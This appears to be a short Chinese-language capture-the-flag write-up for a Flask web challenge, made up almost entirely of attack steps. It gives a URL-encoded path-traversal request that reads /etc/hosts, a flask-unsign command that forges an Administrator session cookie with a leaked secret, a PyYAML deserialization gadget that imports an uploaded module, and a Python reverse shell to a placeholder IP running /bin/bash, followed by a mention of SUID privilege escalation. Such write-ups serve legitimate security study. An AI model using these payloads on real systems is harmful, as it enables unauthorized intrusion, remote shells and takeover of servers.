path.join任意文件读取将…/替换为空 只要双写一下即可 …/./读取 /etc/hosts

GET
/%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F
%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F
%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F
%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F
%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F
%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F
%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2Fe
tc%2Fhosts HTTP/1.1

图片
那么SECRET_KEY就是engine-1
设置user为Administrator,updir为.

flask-unsign --sign --cookie "{'updir': '.', 'user': 'Administrator'}" --secret "engine-1"

得到

eyJ1cGRpciI6Ii4iLCJ1c2VyIjoiQWRtaW5pc3RyYXRvciJ9.Ywgw4A.brsFEnZSsrp8
6IQFbvHjdwRVkPg

替换cookie
本地写一个c4d038b4bed09fdb1471ef51ec3a32cd.yaml
c4d038b4bed09fdb1471ef51ec3a32cd即为md5(“114514”)
内容为

!!python/object/new:bytes
- !!python/object/new:map
- !!python/name:__import__
- ["fileinfo.a"]

在写一个a.py 内容为

import
os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.du
p2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

打包两个文件为fileinfo.rar
上传fileinfo.rar,然后/display?file=114514 就能弹到shell
接着suid提权即可
图片-1661565026327